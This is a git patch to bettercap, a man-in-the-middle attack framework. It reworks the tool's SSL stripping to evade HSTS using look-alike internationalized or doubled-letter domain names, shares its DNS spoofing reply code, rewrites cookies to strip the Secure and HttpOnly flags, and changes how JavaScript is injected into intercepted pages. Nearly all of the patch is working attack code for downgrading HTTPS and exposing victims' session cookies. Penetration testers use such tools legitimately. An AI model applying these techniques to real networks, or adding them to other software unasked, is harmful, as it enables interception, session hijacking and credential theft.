From 40c7203d1f58cd53d0f1d6088730e3d382a69c02 Mon Sep 17 00:00:00 2001 From: Petitoto Date: Mon, 20 Apr 2020 13:35:32 +0100 Subject: [PATCH] Fix sslstrip & some related issues in http(s).proxy and dns.spoof --- modules/dns_spoof/dns_spoof.go | 35 +-- modules/http_proxy/http_proxy.go | 19 +- modules/http_proxy/http_proxy_base.go | 69 ++++-- modules/http_proxy/http_proxy_base_filters.go | 39 +-- .../http_proxy/http_proxy_base_hosttracker.go | 21 +- .../http_proxy/http_proxy_base_sslstriper.go | 234 +++++++----------- modules/https_proxy/https_proxy.go | 21 +- 7 files changed, 220 insertions(+), 218 deletions(-) diff --git a/modules/dns_spoof/dns_spoof.go b/modules/dns_spoof/dns_spoof.go index bd865e68..8302474c 100644 --- a/modules/dns_spoof/dns_spoof.go +++ b/modules/dns_spoof/dns_spoof.go @@ -7,6 +7,7 @@ import ( "strconv" "sync" + "github.com/bettercap/bettercap/log" "github.com/bettercap/bettercap/packets" "github.com/bettercap/bettercap/session" @@ -148,23 +149,21 @@ func (mod *DNSSpoofer) Configure() error { return nil } -func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) { +func DnsReply(s *session.Session, TTL uint32, pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) (string, string) { redir := fmt.Sprintf("(->%s)", address.String()) who := target.String() - if t, found := mod.Session.Lan.Get(target.String()); found { + if t, found := s.Lan.Get(target.String()); found { who = t.String() } - mod.Info("sending spoofed DNS reply for %s %s to %s.", tui.Red(domain), tui.Dim(redir), tui.Bold(who)) - var err error var src, dst net.IP nlayer := pkt.NetworkLayer() if nlayer == nil { - mod.Debug("missing network layer skipping packet.") - return + log.Debug("missing network layer skipping packet.") + return "", "" } var eType layers.EthernetType @@ -198,7 +197,7 @@ func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp Name: []byte(q.Name), Type: q.Type, Class: q.Class, - TTL: mod.TTL, + TTL: TTL, IP: address, }) } @@ -232,8 +231,8 @@ func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp err, raw = packets.Serialize(ð, &ip6, &udp, &dns) if err != nil { - mod.Error("error serializing packet: %s.", err) - return + log.Error("error serializing packet: %s.", err) + return "", "" } } else { ip4 := layers.IPv4{ @@ -253,15 +252,18 @@ func (mod *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp err, raw = packets.Serialize(ð, &ip4, &udp, &dns) if err != nil { - mod.Error("error serializing packet: %s.", err) - return + log.Error("error serializing packet: %s.", err) + return "", "" } } - mod.Debug("sending %d bytes of packet ...", len(raw)) - if err := mod.Session.Queue.Send(raw); err != nil { - mod.Error("error sending packet: %s", err) + log.Debug("sending %d bytes of packet ...", len(raw)) + if err := s.Queue.Send(raw); err != nil { + log.Error("error sending packet: %s", err) + return "", "" } + + return redir, who } func (mod *DNSSpoofer) onPacket(pkt gopacket.Packet) { @@ -279,7 +281,10 @@ func (mod *DNSSpoofer) onPacket(pkt gopacket.Packet) { for _, q := range dns.Questions { qName := string(q.Name) if address := mod.Hosts.Resolve(qName); address != nil { - mod.dnsReply(pkt, eth, udp, qName, address, dns, eth.SrcMAC) + redir, who := DnsReply(mod.Session, mod.TTL, pkt, eth, udp, qName, address, dns, eth.SrcMAC) + if redir != "" && who != "" { + mod.Info("sending spoofed DNS reply for %s %s to %s.", tui.Red(qName), tui.Dim(redir), tui.Bold(who)) + } break } else { mod.Debug("skipping domain %s", qName) diff --git a/modules/http_proxy/http_proxy.go b/modules/http_proxy/http_proxy.go index 44d5d4c7..150d9c34 100644 --- a/modules/http_proxy/http_proxy.go +++ b/modules/http_proxy/http_proxy.go @@ -14,7 +14,7 @@ type HttpProxy struct { func NewHttpProxy(s *session.Session) *HttpProxy { mod := &HttpProxy{ SessionModule: session.NewSessionModule("http.proxy", s), - proxy: NewHTTPProxy(s), + proxy: NewHTTPProxy(s, "http.proxy"), } mod.AddParam(session.NewIntParameter("http.port", @@ -54,6 +54,10 @@ func NewHttpProxy(s *session.Session) *HttpProxy { "false", "Enable or disable SSL stripping.")) + mod.AddParam(session.NewBoolParameter("http.proxy.sslstrip.useIDN", + "false", + "Use an Internationalized Domain Name to bypass HSTS. Otherwise, double the last TLD's character")) + mod.AddHandler(session.NewModuleHandler("http.proxy on", "", "Start HTTP proxy.", func(args []string) error { @@ -66,6 +70,8 @@ func NewHttpProxy(s *session.Session) *HttpProxy { return mod.Stop() })) + mod.InitState("stripper") + return mod } @@ -89,6 +95,7 @@ func (mod *HttpProxy) Configure() error { var doRedirect bool var scriptPath string var stripSSL bool + var useIDN bool var jsToInject string var blacklist string var whitelist string @@ -107,6 +114,8 @@ func (mod *HttpProxy) Configure() error { return err } else if err, stripSSL = mod.BoolParam("http.proxy.sslstrip"); err != nil { return err + } else if err, useIDN = mod.BoolParam("http.proxy.sslstrip.useIDN"); err != nil { + return err } else if err, jsToInject = mod.StringParam("http.proxy.injectjs"); err != nil { return err } else if err, blacklist = mod.StringParam("http.proxy.blacklist"); err != nil { @@ -118,7 +127,12 @@ func (mod *HttpProxy) Configure() error { mod.proxy.Blacklist = str.Comma(blacklist) mod.proxy.Whitelist = str.Comma(whitelist) - return mod.proxy.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL) + error := mod.proxy.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL, useIDN) + + // save stripper to share it with other http(s) proxies + mod.State.Store("stripper", mod.proxy.Stripper) + + return error } func (mod *HttpProxy) Start() error { @@ -132,6 +146,7 @@ func (mod *HttpProxy) Start() error { } func (mod *HttpProxy) Stop() error { + mod.State.Store("stripper", nil) return mod.SetRunning(false, func() { mod.proxy.Stop() }) diff --git a/modules/http_proxy/http_proxy_base.go b/modules/http_proxy/http_proxy_base.go index 13cce828..7fc6eefe 100644 --- a/modules/http_proxy/http_proxy_base.go +++ b/modules/http_proxy/http_proxy_base.go @@ -45,14 +45,14 @@ type HTTPProxy struct { KeyFile string Blacklist []string Whitelist []string + Sess *session.Session + Stripper *SSLStripper jsHook string isTLS bool isRunning bool doRedirect bool - stripper *SSLStripper sniListener net.Listener - sess *session.Session tag string } @@ -72,18 +72,18 @@ func (l dummyLogger) Printf(format string, v ...interface{}) { l.p.Debug("[goproxy.log] %s", str.Trim(fmt.Sprintf(format, v...))) } -func NewHTTPProxy(s *session.Session) *HTTPProxy { +func NewHTTPProxy(s *session.Session, tag string) *HTTPProxy { p := &HTTPProxy{ Name: "http.proxy", Proxy: goproxy.NewProxyHttpServer(), - sess: s, - stripper: NewSSLStripper(s, false), + Sess: s, + Stripper: NewSSLStripper(s, false, false), isTLS: false, doRedirect: true, Server: nil, Blacklist: make([]string, 0), Whitelist: make([]string, 0), - tag: session.AsTag("http.proxy"), + tag: session.AsTag(tag), } p.Proxy.Verbose = false @@ -107,23 +107,23 @@ func NewHTTPProxy(s *session.Session) *HTTPProxy { } func (p *HTTPProxy) Debug(format string, args ...interface{}) { - p.sess.Events.Log(log.DEBUG, p.tag+format, args...) + p.Sess.Events.Log(log.DEBUG, p.tag+format, args...) } func (p *HTTPProxy) Info(format string, args ...interface{}) { - p.sess.Events.Log(log.INFO, p.tag+format, args...) + p.Sess.Events.Log(log.INFO, p.tag+format, args...) } func (p *HTTPProxy) Warning(format string, args ...interface{}) { - p.sess.Events.Log(log.WARNING, p.tag+format, args...) + p.Sess.Events.Log(log.WARNING, p.tag+format, args...) } func (p *HTTPProxy) Error(format string, args ...interface{}) { - p.sess.Events.Log(log.ERROR, p.tag+format, args...) + p.Sess.Events.Log(log.ERROR, p.tag+format, args...) } func (p *HTTPProxy) Fatal(format string, args ...interface{}) { - p.sess.Events.Log(log.FATAL, p.tag+format, args...) + p.Sess.Events.Log(log.FATAL, p.tag+format, args...) } func (p *HTTPProxy) doProxy(req *http.Request) bool { @@ -170,12 +170,32 @@ func (p *HTTPProxy) shouldProxy(req *http.Request) bool { } func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string, - jsToInject string, stripSSL bool) error { + jsToInject string, stripSSL bool, useIDN bool) error { var err error - p.stripper.Enable(stripSSL) + // check if another http(s) proxy is using sslstrip and merge strippers + if stripSSL { + for _, mname := range []string{"http.proxy", "https.proxy"}{ + err, m := p.Sess.Module(mname) + if err == nil && m.Running() { + var mextra interface{} + var mstripper *SSLStripper + mextra = m.Extra() + mextramap := mextra.(map[string]interface{}) + mstripper = mextramap["stripper"].(*SSLStripper) + if mstripper != nil && mstripper.Enabled() { + p.Info("found another proxy using sslstrip -> merging strippers...") + p.Stripper = mstripper + break + } + } + } + } + + p.Stripper.Enable(stripSSL, useIDN) p.Address = address p.doRedirect = doRedirect + p.jsHook = "" if strings.HasPrefix(jsToInject, "http://") || strings.HasPrefix(jsToInject, "https://") { p.jsHook = fmt.Sprintf("", jsToInject) @@ -195,7 +215,7 @@ func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRed } if scriptPath != "" { - if err, p.Script = LoadHttpProxyScript(scriptPath, p.sess); err != nil { + if err, p.Script = LoadHttpProxyScript(scriptPath, p.Sess); err != nil { return err } else { p.Debug("proxy script %s loaded.", scriptPath) @@ -210,18 +230,18 @@ func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRed } if p.doRedirect { - if !p.sess.Firewall.IsForwardingEnabled() { + if !p.Sess.Firewall.IsForwardingEnabled() { p.Info("enabling forwarding.") - p.sess.Firewall.EnableForwarding(true) + p.Sess.Firewall.EnableForwarding(true) } - p.Redirection = firewall.NewRedirection(p.sess.Interface.Name(), + p.Redirection = firewall.NewRedirection(p.Sess.Interface.Name(), "TCP", httpPort, p.Address, proxyPort) - if err := p.sess.Firewall.EnableRedirection(p.Redirection, true); err != nil { + if err := p.Sess.Firewall.EnableRedirection(p.Redirection, true); err != nil { return err } @@ -230,7 +250,7 @@ func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRed p.Warning("port redirection disabled, the proxy must be set manually to work") } - p.sess.UnkCmdCallback = func(cmd string) bool { + p.Sess.UnkCmdCallback = func(cmd string) bool { if p.Script != nil { return p.Script.OnCommand(cmd) } @@ -277,14 +297,13 @@ func (p *HTTPProxy) TLSConfigFromCA(ca *tls.Certificate) func(host string, ctx * func (p *HTTPProxy) ConfigureTLS(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string, certFile string, - keyFile string, jsToInject string, stripSSL bool) (err error) { - if err = p.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL); err != nil { + keyFile string, jsToInject string, stripSSL bool, useIDN bool) (err error) { + if err = p.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL, useIDN); err != nil { return err } p.isTLS = true p.Name = "https.proxy" - p.tag = session.AsTag("https.proxy") p.CertFile = certFile p.KeyFile = keyFile @@ -393,7 +412,7 @@ func (p *HTTPProxy) Start() { var err error strip := tui.Yellow("enabled") - if !p.stripper.Enabled() { + if !p.Stripper.Enabled() { strip = tui.Dim("disabled") } @@ -414,13 +433,13 @@ func (p *HTTPProxy) Start() { func (p *HTTPProxy) Stop() error { if p.doRedirect && p.Redirection != nil { p.Debug("disabling redirection %s", p.Redirection.String()) - if err := p.sess.Firewall.EnableRedirection(p.Redirection, false); err != nil { + if err := p.Sess.Firewall.EnableRedirection(p.Redirection, false); err != nil { return err } p.Redirection = nil } - p.sess.UnkCmdCallback = nil + p.Sess.UnkCmdCallback = nil if p.isTLS { p.isRunning = false diff --git a/modules/http_proxy/http_proxy_base_filters.go b/modules/http_proxy/http_proxy_base_filters.go index fd735620..4cfb6b88 100644 --- a/modules/http_proxy/http_proxy_base_filters.go +++ b/modules/http_proxy/http_proxy_base_filters.go @@ -4,6 +4,7 @@ import ( "io/ioutil" "net/http" "strings" + "strconv" "github.com/elazarl/goproxy" @@ -24,7 +25,7 @@ func (p *HTTPProxy) onRequestFilter(req *http.Request, ctx *goproxy.ProxyCtx) (* p.fixRequestHeaders(req) - redir := p.stripper.Preprocess(req, ctx) + redir := p.Stripper.Preprocess(req, ctx) if redir != nil { // we need to redirect the user in order to make // some session cookie expire @@ -73,12 +74,12 @@ func (p *HTTPProxy) isScriptInjectable(res *http.Response) (bool, string) { return false, "" } -func (p *HTTPProxy) doScriptInjection(res *http.Response, cType string) (error, *http.Response) { +func (p *HTTPProxy) doScriptInjection(res *http.Response, cType string) (error) { defer res.Body.Close() raw, err := ioutil.ReadAll(res.Body) if err != nil { - return err, nil + return err } else if html := string(raw); strings.Contains(html, "") { p.Info("> injecting javascript (%d bytes) into %s (%d bytes) for %s", len(p.jsHook), @@ -87,17 +88,15 @@ func (p *HTTPProxy) doScriptInjection(res *http.Response, cType string) (error, tui.Bold(strings.Split(res.Request.RemoteAddr, ":")[0])) html = strings.Replace(html, "", p.jsHook, -1) - newResp := goproxy.NewResponse(res.Request, cType, res.StatusCode, html) - for k, vv := range res.Header { - for _, v := range vv { - newResp.Header.Add(k, v) - } - } + res.Header.Set("Content-Length", strconv.Itoa(len(html))) - return nil, newResp + // reset the response body to the original unread state + res.Body = ioutil.NopCloser(strings.NewReader(html)) + + return nil } - return nil, nil + return nil } func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx) *http.Response { @@ -109,7 +108,7 @@ func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx) if p.shouldProxy(res.Request) { p.Debug("> %s %s %s%s", res.Request.RemoteAddr, res.Request.Method, res.Request.Host, res.Request.URL.Path) - p.stripper.Process(res, ctx) + p.Stripper.Process(res, ctx) // do we have a proxy script? if p.Script != nil { @@ -117,16 +116,20 @@ func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx) if jsres != nil { // the response has been changed by the script p.logResponseAction(res.Request, jsres) - return jsres.ToResponse(res.Request) + raw, err := ioutil.ReadAll(jsres.ToResponse(res.Request).Body) + if err == nil { + html := string(raw) + res.Header.Set("Content-Length", strconv.Itoa(len(html))) + // reset the response body to the original unread state + res.Body = ioutil.NopCloser(strings.NewReader(html)) + } } } // inject javascript code if specified and needed if doInject, cType := p.isScriptInjectable(res); doInject { - if err, injectedResponse := p.doScriptInjection(res, cType); err != nil { + if err := p.doScriptInjection(res, cType); err != nil { p.Error("error while injecting javascript: %s", err) - } else if injectedResponse != nil { - return injectedResponse } } } @@ -135,7 +138,7 @@ func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx) } func (p *HTTPProxy) logRequestAction(req *http.Request, jsreq *JSRequest) { - p.sess.Events.Add(p.Name+".spoofed-request", struct { + p.Sess.Events.Add(p.Name+".spoofed-request", struct { To string Method string Host string @@ -151,7 +154,7 @@ func (p *HTTPProxy) logRequestAction(req *http.Request, jsreq *JSRequest) { } func (p *HTTPProxy) logResponseAction(req *http.Request, jsres *JSResponse) { - p.sess.Events.Add(p.Name+".spoofed-response", struct { + p.Sess.Events.Add(p.Name+".spoofed-response", struct { To string Method string Host string diff --git a/modules/http_proxy/http_proxy_base_hosttracker.go b/modules/http_proxy/http_proxy_base_hosttracker.go index c591b25e..004f3560 100644 --- a/modules/http_proxy/http_proxy_base_hosttracker.go +++ b/modules/http_proxy/http_proxy_base_hosttracker.go @@ -34,25 +34,38 @@ func NewHost(name string) *Host { type HostTracker struct { sync.RWMutex - hosts map[string]*Host + uhosts map[string]*Host + shosts map[string]*Host } func NewHostTracker() *HostTracker { return &HostTracker{ - hosts: make(map[string]*Host), + uhosts: make(map[string]*Host), + shosts: make(map[string]*Host), } } func (t *HostTracker) Track(host, stripped string) { t.Lock() defer t.Unlock() - t.hosts[stripped] = NewHost(host) + t.uhosts[stripped] = NewHost(host) + t.shosts[host] = NewHost(stripped) } func (t *HostTracker) Unstrip(stripped string) *Host { t.RLock() defer t.RUnlock() - if host, found := t.hosts[stripped]; found { + if host, found := t.uhosts[stripped]; found { + return host + } + return nil +} + + +func (t *HostTracker) Strip(unstripped string) *Host { + t.RLock() + defer t.RUnlock() + if host, found := t.shosts[unstripped]; found { return host } return nil diff --git a/modules/http_proxy/http_proxy_base_sslstriper.go b/modules/http_proxy/http_proxy_base_sslstriper.go index 1a4824f2..39cedbf2 100644 --- a/modules/http_proxy/http_proxy_base_sslstriper.go +++ b/modules/http_proxy/http_proxy_base_sslstriper.go @@ -1,9 +1,7 @@ package http_proxy import ( - "fmt" "io/ioutil" - "net" "net/http" "net/url" "regexp" @@ -11,8 +9,8 @@ import ( "strconv" "github.com/bettercap/bettercap/log" - "github.com/bettercap/bettercap/packets" "github.com/bettercap/bettercap/session" + "github.com/bettercap/bettercap/modules/dns_spoof" "github.com/elazarl/goproxy" "github.com/google/gopacket" @@ -20,39 +18,36 @@ import ( "github.com/google/gopacket/pcap" "github.com/evilsocket/islazy/tui" + + "golang.org/x/net/idna" ) var ( - maxRedirs = 5 httpsLinksParser = regexp.MustCompile(`https://[^"'/]+`) - subdomains = map[string]string{ - "www": "wwwww", - "webmail": "wwebmail", - "mail": "wmail", - "m": "wmobile", - } + domainCookieParser = regexp.MustCompile(`; ?(?i)domain=.*(;|$)`) + flagsCookieParser = regexp.MustCompile(`; ?(?i)(secure|httponly)`) ) type SSLStripper struct { enabled bool + useIDN bool session *session.Session cookies *CookieTracker hosts *HostTracker handle *pcap.Handle pktSourceChan chan gopacket.Packet - redirs map[string]int } -func NewSSLStripper(s *session.Session, enabled bool) *SSLStripper { +func NewSSLStripper(s *session.Session, enabled bool, useIDN bool) *SSLStripper { strip := &SSLStripper{ enabled: false, + useIDN: false, cookies: NewCookieTracker(), hosts: NewHostTracker(), session: s, handle: nil, - redirs: make(map[string]int), } - strip.Enable(enabled) + strip.Enable(enabled, useIDN) return strip } @@ -60,84 +55,6 @@ func (s *SSLStripper) Enabled() bool { return s.enabled } -func (s *SSLStripper) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) { - redir := fmt.Sprintf("(->%s)", address) - who := target.String() - - if t, found := s.session.Lan.Get(target.String()); found { - who = t.String() - } - - log.Debug("[%s] Sending spoofed DNS reply for %s %s to %s.", tui.Green("dns"), tui.Red(domain), tui.Dim(redir), tui.Bold(who)) - - var err error - var src, dst net.IP - - nlayer := pkt.NetworkLayer() - if nlayer == nil { - log.Debug("Missing network layer skipping packet.") - return - } - - pip := pkt.Layer(layers.LayerTypeIPv4).(*layers.IPv4) - src = pip.DstIP - dst = pip.SrcIP - - eth := layers.Ethernet{ - SrcMAC: peth.DstMAC, - DstMAC: target, - EthernetType: layers.EthernetTypeIPv4, - } - - answers := make([]layers.DNSResourceRecord, 0) - for _, q := range req.Questions { - answers = append(answers, - layers.DNSResourceRecord{ - Name: []byte(q.Name), - Type: q.Type, - Class: q.Class, - TTL: 1024, - IP: address, - }) - } - - dns := layers.DNS{ - ID: req.ID, - QR: true, - OpCode: layers.DNSOpCodeQuery, - QDCount: req.QDCount, - Questions: req.Questions, - Answers: answers, - } - - ip4 := layers.IPv4{ - Protocol: layers.IPProtocolUDP, - Version: 4, - TTL: 64, - SrcIP: src, - DstIP: dst, - } - - udp := layers.UDP{ - SrcPort: pudp.DstPort, - DstPort: pudp.SrcPort, - } - - udp.SetNetworkLayerForChecksum(&ip4) - - var raw []byte - err, raw = packets.Serialize(ð, &ip4, &udp, &dns) - if err != nil { - log.Error("Error serializing packet: %s.", err) - return - } - - log.Debug("Sending %d bytes of packet ...", len(raw)) - if err := s.session.Queue.Send(raw); err != nil { - log.Error("Error sending packet: %s", err) - } -} - func (s *SSLStripper) onPacket(pkt gopacket.Packet) { typeEth := pkt.Layer(layers.LayerTypeEthernet) typeUDP := pkt.Layer(layers.LayerTypeUDP) @@ -153,14 +70,18 @@ func (s *SSLStripper) onPacket(pkt gopacket.Packet) { domain := string(q.Name) original := s.hosts.Unstrip(domain) if original != nil && original.Address != nil { - s.dnsReply(pkt, eth, udp, domain, original.Address, dns, eth.SrcMAC) + redir, who := dns_spoof.DnsReply(s.session, 1024, pkt, eth, udp, domain, original.Address, dns, eth.SrcMAC) + if redir != "" && who != "" { + log.Debug("[%s] Sending spoofed DNS reply for %s %s to %s.", tui.Green("dns"), tui.Red(domain), tui.Dim(redir), tui.Bold(who)) + } } } } } -func (s *SSLStripper) Enable(enabled bool) { +func (s *SSLStripper) Enable(enabled bool, useIDN bool) { s.enabled = enabled + s.useIDN = useIDN if enabled && s.handle == nil { var err error @@ -208,23 +129,28 @@ func (s *SSLStripper) isContentStrippable(res *http.Response) bool { func (s *SSLStripper) processURL(url string) string { // first we remove the https schema - url = strings.Replace(url, "https://", "http://", 1) + url = url[8:] - // search for a known subdomain and replace it - found := false - for sub, repl := range subdomains { - what := fmt.Sprintf("://%s", sub) - with := fmt.Sprintf("://%s", repl) - if strings.Contains(url, what) { - url = strings.Replace(url, what, with, 1) - found = true - break - } + // search the first instance of "/" + iEndHost := strings.Index(url, "/") + if iEndHost == -1 { + iEndHost = len(url) } - // fallback - if !found { - url = strings.Replace(url, "://", "://wwww.", 1) + // search if port is specified + iPort := strings.Index(url[:iEndHost], ":") + if iPort == -1 { + iPort = iEndHost } + if s.useIDN { + // add an international character to the domain name & strip HTTPS port (if any) + url = url[:iPort] + "ノ" + url[iEndHost:] + } else { + // double the last TLD's character & strip HTTPS port (if any) + url = url[:iPort] + string(url[iPort-1]) + url[iEndHost:] + } + + // finally we add the http schema + url = "http://" + url return url } @@ -238,19 +164,14 @@ func (s *SSLStripper) Preprocess(req *http.Request, ctx *goproxy.ProxyCtx) (redi return } - // well ... - if req.URL.Scheme == "https" { - // TODO: check for max redirects? - req.URL.Scheme = "http" - } - // handle stripped domains original := s.hosts.Unstrip(req.Host) if original != nil { - log.Info("[%s] Replacing host %s with %s in request from %s", tui.Green("sslstrip"), tui.Bold(req.Host), tui.Yellow(original.Hostname), req.RemoteAddr) + log.Info("[%s] Replacing host %s with %s in request from %s and transmitting HTTPS", tui.Green("sslstrip"), tui.Bold(req.Host), tui.Yellow(original.Hostname), req.RemoteAddr) req.Host = original.Hostname req.URL.Host = original.Hostname req.Header.Set("Host", original.Hostname) + req.URL.Scheme = "https" } if !s.cookies.IsClean(req) { @@ -264,24 +185,30 @@ func (s *SSLStripper) Preprocess(req *http.Request, ctx *goproxy.ProxyCtx) (redi return } -func (s *SSLStripper) isMaxRedirs(hostname string) bool { - // did we already track redirections for this host? - if nredirs, found := s.redirs[hostname]; found { - // reached the threshold? - if nredirs >= maxRedirs { - log.Warning("[%s] Hit max redirections for %s, serving HTTPS.", tui.Green("sslstrip"), hostname) - // reset - delete(s.redirs, hostname) - return true - } else { - // increment - s.redirs[hostname]++ +func (s *SSLStripper) fixCookies(res *http.Response) { + origHost := res.Request.URL.Hostname() + strippedHost := s.hosts.Strip(origHost) + + if strippedHost != nil && strippedHost.Hostname != origHost && res.Header["Set-Cookie"] != nil { + // get domains from hostnames + if origParts, strippedParts := strings.Split(origHost, "."), strings.Split(strippedHost.Hostname, "."); len(origParts) > 1 && len(strippedParts) > 1 { + origDomain := origParts[len(origParts)-2] + "." + origParts[len(origParts)-1] + strippedDomain := strippedParts[len(strippedParts)-2] + "." + strippedParts[len(strippedParts)-1] + + log.Info("[%s] Fixing cookies on %s", tui.Green("sslstrip"),tui.Bold(strippedHost.Hostname)) + cookies := make([]string, len(res.Header["Set-Cookie"])) + // replace domain and strip "secure" flag for each cookie + for i, cookie := range res.Header["Set-Cookie"] { + domainIndex := domainCookieParser.FindStringIndex(cookie) + if domainIndex != nil { + cookie = cookie[:domainIndex[0]] + strings.Replace(cookie[domainIndex[0]:domainIndex[1]], origDomain, strippedDomain, 1) + cookie[domainIndex[1]:] + } + cookies[i] = flagsCookieParser.ReplaceAllString(cookie, "") + } + res.Header["Set-Cookie"] = cookies + s.cookies.Track(res.Request) } - } else { - // start tracking redirections - s.redirs[hostname] = 1 } - return false } func (s *SSLStripper) fixResponseHeaders(res *http.Response) { @@ -310,12 +237,13 @@ func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) { s.fixResponseHeaders(res) + orig := res.Request.URL + origHost := orig.Hostname() + // is the server redirecting us? if res.StatusCode != 200 { // extract Location header if location, err := res.Location(); location != nil && err == nil { - orig := res.Request.URL - origHost := orig.Hostname() newHost := location.Host newURL := location.String() @@ -324,17 +252,14 @@ func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) { log.Info("[%s] Got redirection from HTTP to HTTPS: %s -> %s", tui.Green("sslstrip"), tui.Yellow("http://"+origHost), tui.Bold("https://"+newHost)) - // if we still did not reach max redirections, strip the URL down to - // an alternative HTTP version - if !s.isMaxRedirs(origHost) { - strippedURL := s.processURL(newURL) - u, _ := url.Parse(strippedURL) - hostStripped := u.Hostname() + // strip the URL down to an alternative HTTP version and save it to an ASCII Internationalized Domain Name + strippedURL := s.processURL(newURL) + parsed, _ := url.Parse(strippedURL) + hostStripped := parsed.Hostname() + hostStripped, _ = idna.ToASCII(hostStripped) + s.hosts.Track(newHost, hostStripped) - s.hosts.Track(origHost, hostStripped) - - res.Header.Set("Location", strippedURL) - } + res.Header.Set("Location", strippedURL) } } } @@ -352,9 +277,9 @@ func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) { urls := make(map[string]string) matches := httpsLinksParser.FindAllString(body, -1) for _, u := range matches { - // make sure we only strip stuff we're able to - // resolve and process - if strings.ContainsRune(u, '.') { + // make sure we only strip valid URLs + if parsed, _ := url.Parse(u); parsed != nil { + // strip the URL down to an alternative HTTP version urls[u] = s.processURL(u) } } @@ -368,18 +293,25 @@ func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) { log.Info("[%s] Stripping %d SSL link%s from %s", tui.Green("sslstrip"), nurls, plural, tui.Bold(res.Request.Host)) } - for url, stripped := range urls { - log.Debug("Stripping url %s to %s", tui.Bold(url), tui.Yellow(stripped)) + for u, stripped := range urls { + log.Debug("Stripping url %s to %s", tui.Bold(u), tui.Yellow(stripped)) - body = strings.Replace(body, url, stripped, -1) + body = strings.Replace(body, u, stripped, -1) - hostOriginal := strings.Replace(url, "https://", "", 1) - hostStripped := strings.Replace(stripped, "http://", "", 1) + // save stripped host to an ASCII Internationalized Domain Name + parsed, _ := url.Parse(u) + hostOriginal := parsed.Hostname() + parsed, _ = url.Parse(stripped) + hostStripped := parsed.Hostname() + hostStripped, _ = idna.ToASCII(hostStripped) s.hosts.Track(hostOriginal, hostStripped) } res.Header.Set("Content-Length", strconv.Itoa(len(body))) + // fix cookies domain + strip "secure" + "httponly" flags + s.fixCookies(res) + // reset the response body to the original unread state // but with just a string reader, this way further calls // to ioutil.ReadAll(res.Body) will just return the content diff --git a/modules/https_proxy/https_proxy.go b/modules/https_proxy/https_proxy.go index 3ede17c2..fbf3df74 100644 --- a/modules/https_proxy/https_proxy.go +++ b/modules/https_proxy/https_proxy.go @@ -17,7 +17,7 @@ type HttpsProxy struct { func NewHttpsProxy(s *session.Session) *HttpsProxy { mod := &HttpsProxy{ SessionModule: session.NewSessionModule("https.proxy", s), - proxy: http_proxy.NewHTTPProxy(s), + proxy: http_proxy.NewHTTPProxy(s, "https.proxy"), } mod.AddParam(session.NewIntParameter("https.port", @@ -41,6 +41,10 @@ func NewHttpsProxy(s *session.Session) *HttpsProxy { "false", "Enable or disable SSL stripping.")) + mod.AddParam(session.NewBoolParameter("https.proxy.sslstrip.useIDN", + "false", + "Use an Internationalized Domain Name to bypass HSTS. Otherwise, double the last TLD's character")) + mod.AddParam(session.NewStringParameter("https.proxy.injectjs", "", "", @@ -81,6 +85,8 @@ func NewHttpsProxy(s *session.Session) *HttpsProxy { return mod.Stop() })) + mod.InitState("stripper") + return mod } @@ -106,6 +112,7 @@ func (mod *HttpsProxy) Configure() error { var certFile string var keyFile string var stripSSL bool + var useIDN bool var jsToInject string var whitelist string var blacklist string @@ -122,6 +129,8 @@ func (mod *HttpsProxy) Configure() error { return err } else if err, stripSSL = mod.BoolParam("https.proxy.sslstrip"); err != nil { return err + } else if err, useIDN = mod.BoolParam("https.proxy.sslstrip.useIDN"); err != nil { + return err } else if err, certFile = mod.StringParam("https.proxy.certificate"); err != nil { return err } else if certFile, err = fs.Expand(certFile); err != nil { @@ -160,8 +169,13 @@ func (mod *HttpsProxy) Configure() error { mod.Info("loading proxy certification authority TLS certificate from %s", certFile) } - return mod.proxy.ConfigureTLS(address, proxyPort, httpPort, doRedirect, scriptPath, certFile, keyFile, jsToInject, - stripSSL) + error := mod.proxy.ConfigureTLS(address, proxyPort, httpPort, doRedirect, scriptPath, certFile, keyFile, jsToInject, + stripSSL, useIDN) + + // save stripper to share it with other http(s) proxies + mod.State.Store("stripper", mod.proxy.Stripper) + + return error } func (mod *HttpsProxy) Start() error { @@ -175,6 +189,7 @@ func (mod *HttpsProxy) Start() error { } func (mod *HttpsProxy) Stop() error { + mod.State.Store("stripper", nil) return mod.SetRunning(false, func() { mod.proxy.Stop() })